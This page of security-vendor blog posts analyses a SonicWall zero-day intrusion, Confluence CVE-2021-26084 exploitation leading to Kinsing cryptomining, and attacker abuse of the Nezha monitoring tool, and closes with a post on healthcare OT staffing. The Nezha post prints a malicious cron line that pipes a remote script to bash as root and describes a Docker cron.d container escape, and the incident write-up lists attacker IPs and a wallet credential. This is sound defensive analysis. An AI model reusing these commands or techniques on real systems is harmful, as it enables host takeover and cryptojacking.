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July 26, 2022

Self-Learning AI for Zero-Day and N-Day Attack Defense

Explore the differences between zero-day and n-day attacks on different customer servers to learn how Darktrace detects and prevents cyber threats effectively.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Lewis Morgan
Cyber Analyst
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26
Jul 2022

Key Terms:

Zero-day | A recently discovered security vulnerability in computer software that has no currently available fix or patch. Its name come from the reality that vendors have “zero days” to act and respond.

N-day | A vulnerability that emerges in computer software in which a vendor is aware and may have already issued (or are currently working on) a patch or fix. Active exploits often already exist and await abuse by nefarious actors.

Traditional security solutions often apply signature-based-detection when identifying cyber threats, helping to defend against legacy attacks but consequently missing novel ones. Therefore, security teams often lend a lot of focus to ensuring that the risk of zero-day vulnerabilities is reduced [1]. As explored in this blog, however, organizations can face just as much of a risk from n-day attacks, since they invite the most attention from malicious actors [2]. This is due in part to the reduced complexity, cost and time invested in researching and finding new exploits compared with that found when attackers exploit zero-days. 

This blog will examine both a zero-day and n-day attack that two different Darktrace customers faced in the fall of 2021. This will include the activity Darktrace detected, along with the steps taken by Darktrace/Network to intervene. It will then compare the incidents, discuss the possible dangers of third-party integrations, and assess the deprecation of legacy security tools.

Revisiting zero-day attacks 

Zero-days are among the greatest concerns security teams face in the era of modern technology and networking. Defending critical systems from zero-day compromises is a task most legacy security solutions are often unable to handle. Due to the complexity of uncovering new security flaws and developing elaborate code that can exploit them, these attacks are often carried out by funded or experienced groups such as nation-state actors and APTs. One of history’s most prolific zero-days, ‘Stuxnet’, sent security teams worldwide into a global panic in 2010. This involved a widespread attack on Iranian nuclear infrastructure and was widely accepted to be a result of nation-state actors [3]. The Stuxnet worm took advantage of four zero-day exploits, compromising over 200,000 devices and physically damaging around 10% of the 9,000 critical centrifuges at the Natanz nuclear site. 

More recently, 2021 saw the emergence of several critical zero-day vulnerabilities within SonicWall’s product suite [4]. SonicWall is a security hardware manufacturer that provides hardware firewall devices, unified threat management, VPN gateways and network security solutions. Some of these vulnerabilities lie within their Secure Mobile Access (SMA) 100 series (for example, CVE-2019-7481, CVE-2021-20016 and CVE-2021-20038 to name a few). These directly affected VPN devices and often allowed attackers easy remote access to company devices. CVE-2021-20016 in particular incorporates an SQL-Injection vulnerability within SonicWall’s SSL VPN SMA 100 product line [5]. If exploited, this defect would allow an unauthenticated remote attacker to perform their own malicious SQL query in order to access usernames, passwords and other session related information. 

The N-day underdog

The shadow cast by zero-day attacks often shrouds that of n-day attacks. N-days, however, often pose an equal - if not greater - risk to the majority of organizations, particularly those in industrial sectors. Since these vulnerabilities have fixes available, all of the hard work around research is already done; malicious actors only need to view proof of concepts (POCs) or, if proficient in coding, reverse-engineer software to reveal code-changes (binary diffing) in order to exploit these security flaws in the wild. These vulnerabilities are typically attributed to opportunistic hackers and script-kiddies, where little research or heavy lifting is required.  

August 2021 gave rise to a critical vulnerability in Atlassian Confluence servers, namely CVE-2021-26084 [6]. Confluence is a widely used collaboration wiki tool and knowledge-sharing platform. As introduced and discussed a few months ago in a previous Darktrace blog (Explore Internet-Facing System Vulnerabilities), this vulnerability allows attackers to remotely execute code on internet-facing servers after exploiting injection vulnerabilities in Object-Graph Navigation Language (OGNL). Whilst Confluence had patches and fixes available to users, attackers still jumped on this opportunity and began scanning the internet for signs of critical devices serving this outdated software [7]. Once identified, they would  exploit the vulnerability, often installing crypto mining software onto the device. More recently, Darktrace explored a new vulnerability (CVE-2022-26134), disclosed midway through 2022, that affected Confluence servers and data centers using similar techniques to that found in CVE-2021-26084 [8]. 

SonicWall in the wild – 1. Zero-day attack

At the beginning of August 2021, Darktrace prevented an attack from taking place within a European automotive customer’s environment (Figure 1). The attack targeted a vulnerable internet-facing SonicWall VPN server, and while the attacker’s motive remains unclear, similar historic events suggest that they intended to perform ransomware encryption or data exfiltration. 

Figure 1: Timeline of the SonicWall attack 

Darktrace was unable to confirm the definite tactics, techniques and procedures (TTPs) used by the attacker to compromise the customer’s environment, as the device was compromised before Darktrace installation and coverage. However, from looking at recently disclosed SonicWall VPN vulnerabilities and patterns of behaviour, it is likely CVE-2021-20016 played a part. At some point after this initial infection, it is also believed the device was able to move laterally to a domain controller (DC) using administrative credentials; it was this server that then initiated the anomalous activity that Darktrace detected and alerted on. 

On August 5th 2021 , Darktrace observed this compromised domain controller engaging in unusual ICMP scanning - a protocol used to discover active devices within an environment and create a map of an organization’s network topology. Shortly after, the infected server began scanning devices for open RDP ports and enumerating SMB shares using unorthodox methods. SMB delete and HTTP requests (over port 445 and 80 respectively) were made for files named delete.me in the root directory of numerous network shares using the user agent Microsoft WebDAV. However, no such files appeared to exist within the environment. This may have been the result of an attacker probing devices in the network in an effort to see their responses and gather information on properties and vulnerabilities they could later exploit. 

Soon the infected DC began establishing RDP tunnels back to the VPN server and making requests to an internal DNS server for multiple endpoints relating to exploit kits, likely in an effort to strengthen the attacker’s foothold within the environment. Some of the endpoints requested relate to:

-       EternalBlue vulnerability 

-       Petit Potam NTLM hash attack tool

-       Unusual GitHub repositories

-       Unusual Python repositories  

The DC made outgoing NTLM requests to other internal devices, implying the successful installation of Petit Potam exploitation tools. The server then began performing NTLM reconnaissance, making over 1,000 successful logins under ‘Administrator’ to several other internal devices. Around the same time, the device was also seen making anonymous SMBv1 logins to numerous internal devices, (possibly symptomatic of the attacker probing machines for EternalBlue vulnerabilities). 

Interestingly, the device also made numerous failed authentication attempts using a spoofed credential for one of the organization’s security managers. This was likely in an attempt to hide themselves using ‘Living off the Land’ (LotL) techniques. However, whilst the attacker clearly did their research on the company, they failed to acknowledge the typical naming convention used for credentials within the environment. This ultimately backfired and made the compromise more obvious and unusual. 

In the morning of the following day, the initially compromised VPN server began conducting further reconnaissance, engaging in similar activity to that observed by the domain controller. Until now, the customer had set Darktrace RESPOND to run in human confirmation mode, meaning interventions were not made autonomously but required confirmation by a member of the internal security team. However, thanks to Proactive Threat Notifications (PTNs) delivered by Darktrace’s dedicated SOC team, the customer was made immediately aware of this unusual behaviour, allowing them to apply manual Darktrace RESPOND blocks to all outgoing connections (Figure 2). This gave the security team enough time to respond and remediate before serious damage could be done.

Figure 2: Darktrace RESPOND model breach showing the manually applied “Quarantine Device” action taken against the compromised VPN server. This screenshot displays the UI from Darktrace version 5.1

Confluence in the wild – 2. N-day attack

Towards the end of 2021, Darktrace saw a European broadcasting customer leave an Atlassian Confluence internet-facing server unpatched and vulnerable to crypto-mining malware using CVE-2021-26084. Thanks to Darktrace, this attack was entirely immobilized within only a few hours of the initial infection, protecting the organization from damage (Figure 3). 

Figure 3: Timeline of the Confluence attack

On midday on September 1st 2021, an unpatched Confluence server was seen receiving SSL connections over port 443 from a suspicious new endpoint, 178.238.226[.]127.  The connections were encrypted, meaning Darktrace was unable to view the contents and ascertain what requests were being made. However, with the disclosure of CVE-2021-26084 just 7 days prior to this activity, it is likely that the TTPs used involved injecting OGNL expressions to Confluence server memory; allowing the attacker to remotely execute code on the vulnerable server.

Immediately after successful exploitation of the Confluence server, the infected device was observed making outgoing HTTP GET requests to several external endpoints using a new user agent (curl/7.61.1). Curl was used to silently download and configure multiple suspicious files relating to XMRig cryptocurrency miner, including ld.sh, XMRig and config.json. Subsequent outgoing connections were then made to europe.randomx-hub.miningpoolhub[.]com · 172.105.210[.]117 using the JSON-RPC protocol, seen alongside the mining credential maillocal.confluence (Figure 4). Only 3 seconds after initial compromise, the infected device began attempting to mine cryptocurrency using the Minergate protocol but was instantly and autonomously blocked by Darktrace RESPOND. This prevented the server from abusing system resources and generating profits for the attacker.

Figure 4: A graph showing the frequency of external connections using the JSON-RPC protocol made by the breach device over a 48-hour window. The orange-red dots represent models that breached as a result of this activity, demonstrating the “waterfall” effect commonly seen when a device suffers a compromise. This screenshot displays the UI from Darktrace version 5.1

In the afternoon, the malware persisted with its infection. The compromised server began making successive HTTP GET requests to a new rare endpoint 195.19.192[.]28 using the same curl user agent (Figures 5 & 6). These requests were for executable and dynamic library files associated with Kinsing malware (but fortunately were also blocked by Darktrace RESPOND). Kinsing is a malware strain found in numerous attack campaigns which is often associated with crypto-jacking, and has appeared in previous Darktrace blogs [9].

Figure 5: Cyber AI Analyst summarising the unusual download of Kinsing software using the new curl user agent. This screenshot displays the UI from Darktrace version 5.1

The attacker then began making HTTP POST requests to an IP 185.154.53[.]140, using the same curl user agent; likely a method for the attacker to maintain persistence within the network and establish a foothold using its C2 infrastructure. The Confluence server was then again seen attempting to mine cryptocurrency using the Minergate protocol. It made outgoing JSON-RPC connections to a different new endpoint, 45.129.2[.]107, using the following mining credential: ‘42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2’. This was once again blocked by Darktrace RESPOND (Figure 7). 

Figure 6: VirusTotal showing the unusualness of one of these external IPs [10]
Figure 7: Log data showing the action taken by Darktrace RESPOND in response to the device breaching the “Crypto Currency Mining Activity” model. This screenshot displays the UI from Darktrace version 5.1

The final activity seen from this device involved the download of additional shell scripts over HTTP associated with Kinsing, namely spre.sh and unk.sh, from 194.38.20[.]199 and 195.3.146[.]118 respectively (Figure 8). A new user agent (Wget/1.19.5 (linux-gnu)) was used when connecting to the latter endpoint, which also began concurrently initiating repeated connections indicative of C2 beaconing. These scripts help to spread the Kinsing malware laterally within the environment and may have been the attacker's last ditch efforts at furthering their compromise before Darktrace RESPOND blocked all connections from the infected Confluence server [11]. With Darktrace RESPOND's successful actions, the customer’s security team were then able to perform their own response and remediation. 

Figure 8: Cyber AI Analyst revealing the last ditch efforts made by the threat actor to download further malicious software. This screenshot displays the UI from Darktrace version 5.1

Darktrace Coverage: N- vs Zero-days

In the SonicWall case the attacker was unable to achieve their actions on objectives (thanks to Darktrace's intervention). However, this incident displayed tactics of a more stealthy and sophisticated attacker - they had an exploited machine but waited for the right moment to execute their malicious code and initiate a full compromise. Due to the lack of visibility over attacker motive, it is difficult to deduce what type of actor led to this intrusion. However, with the disclosure of a zero-day vulnerability (CVE-2021-20016) not long before this attack, along with a seemingly dormant initially compromised device, it is highly possible that it was carried out by a sophisticated cyber criminal or gang. 

On the other hand, the Confluence case engaged in a slightly more noisy approach; it dropped crypto mining malware on vulnerable devices in the hope that the target’s security team did not maintain visibility over their network or would merely turn a blind eye. The files downloaded and credentials observed alongside the mining activity heavily imply the use of Kinsing malware [11]. Since this vulnerability (CVE-2021-26084) emerged as an n-day attack with likely easily accessible POCs, as well as there being a lack of LotL techniques and the motive being long term monetary gain, it is possible this attack was conducted by a less sophisticated or amateur actor (script-kiddie); one that opportunistically exploits known vulnerabilities in internet-facing devices in order to make a quick profit [12].

Whilst Darktrace RESPOND was enabled in human confirmation mode only during the start of the SonicWall attack, Darktrace’s Cyber AI Analyst still offered invaluable insight into the unusual activity associated with the infected machines during both the Confluence and SonicWall compromises. SOC analysts were able to see these uncharacteristic behaviours and escalate the incident through Darktrace’s PTN and ATE services. Analysts then worked through these tickets with the customers, providing support and guidance and, in the SonicWall case, quickly helping to configure Darktrace RESPOND. In both scenarios, Darktrace RESPOND was able to block abnormal connections and enforce a device’s pattern of life, affording the security team enough time to isolate the infected machines and prevent further threats such as ransomware detonation or data exfiltration. 

Concluding thoughts and dangers of third-party integrations 

Organizations with internet-facing devices will inevitably suffer opportunistic zero-day and n-day attacks. While little can be done to remove the risk of zero-days entirely, ensuring that organizations keep their systems up to date will at the very least help prevent opportunistic and script-kiddies from exploiting n-day vulnerabilities.  

However, it is often not always possible for organizations to keep their systems up to date, especially for those who require continuous availability. This may also pose issues for organizations that rely on, and put their trust in, third party integrations such as those explored in this blog (Confluence and SonicWall), as enforcing secure software is almost entirely out of their hands. Moreover, with the rising prevalence of remote working, it is essential now more than ever that organizations ensure their VPN devices are shielded from external threats, guidance on which has been released by the NSA/CISA [13].

These two case studies have shown that whilst organizations can configure their networks and firewalls to help identify known indicators of compromise (IoC), this ‘rearview mirror’ approach will not account for, or protect against, any new and undisclosed IoCs. With the aid of Self-Learning AI and anomaly detection, Darktrace can detect the slightest deviation from a device’s normal pattern of life and respond autonomously without the need for rules and signatures. This allows for the disruption and prevention of known and novel attacks before irreparable damage is caused- reassuring security teams that their digital estates are secure. 

Thanks to Paul Jennings for his contributions to this blog.

Appendices: SonicWall (Zero-day)

Darktrace model detections

·      AIA / Suspicious Chain of Administrative Credentials

·      Anomalous Connection / Active Remote Desktop Tunnel

·      Anomalous Connection / SMB Enumeration

·      Anomalous Connection / Unusual Internal Remote Desktop

·      Compliance / High Priority Compliance Model Breach

·      Compliance / Outgoing NTLM Request from DC

·      Device / Anomalous RDP Followed By Multiple Model Breaches

·      Device / Anomalous SMB Followed By Multiple Model Breaches

·      Device / ICMP Address Scan

·      Device / Large Number of Model Breaches

·      Device / Large Number of Model Breaches from Critical Network Device

·      Device / Multiple Lateral Movement Model Breaches (PTN/Enhanced Monitoring model)

·      Device / Network Scan

·      Device / Possible SMB/NTLM Reconnaissance

·      Device / RDP Scan

·      Device / Reverse DNS Sweep

·      Device / SMB Session Bruteforce

·      Device / Suspicious Network Scan Activity (PTN/Enhanced Monitoring model)

·      Unusual Activity / Possible RPC Recon Activity

Darktrace RESPOND (Antigena) actions (as displayed in example)

·      Antigena / Network / Manual / Quarantine Device

MITRE ATT&CK Techniques Observed
IoCs

Appendices: Confluence (N-day)

Darktrace model detections

·      Anomalous Connection / New User Agent to IP Without Hostname

·      Anomalous Connection / Posting HTTP to IP Without Hostname

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Script from Rare Location

·      Compliance / Crypto Currency Mining Activity

·      Compromise / High Priority Crypto Currency Mining (PTN/Enhanced Monitoring model)

·      Device / Initial Breach Chain Compromise (PTN/Enhanced Monitoring model)

·      Device / Internet Facing Device with High Priority Alert

·      Device / New User Agent

Darktrace RESPOND (Antigena) actions (displayed in example)

·      Antigena / Network / Compliance / Antigena Crypto Currency Mining Block

·      Antigena / Network / External Threat / Antigena File then New Outbound Block

·      Antigena / Network / External Threat / Antigena Suspicious Activity Block

·      Antigena / Network / External Threat / Antigena Suspicious File Block

·      Antigena / Network / Significant Anomaly / Antigena Block Enhanced Monitoring

MITRE ATT&CK Techniques Observed
IOCs

References:

[1] https://securitybrief.asia/story/why-preventing-zero-day-attacks-is-crucial-for-businesses

[2] https://electricenergyonline.com/energy/magazine/1150/article/Security-Sessions-More-Dangerous-Than-Zero-Days-The-N-Day-Threat.htm

[3] https://www.wired.com/2014/11/countdown-to-zero-day-stuxnet/

[4] https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=SonicWall+2021 

[5] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20016

[6] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26084

[7] https://www.zdnet.com/article/us-cybercom-says-mass-exploitation-of-atlassian-confluence-vulnerability-ongoing-and-expected-to-accelerate/

[8] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134

[9] https://attack.mitre.org/software/S0599/

[10] https://www.virustotal.com/gui/ip-address/195.19.192.28/detection 

[11] https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/

[12] https://github.com/alt3kx/CVE-2021-26084_PoC

[13] https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/2791320/nsa-cisa-release-guidance-on-selecting-and-hardening-remote-access-vpns/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Lewis Morgan
Cyber Analyst

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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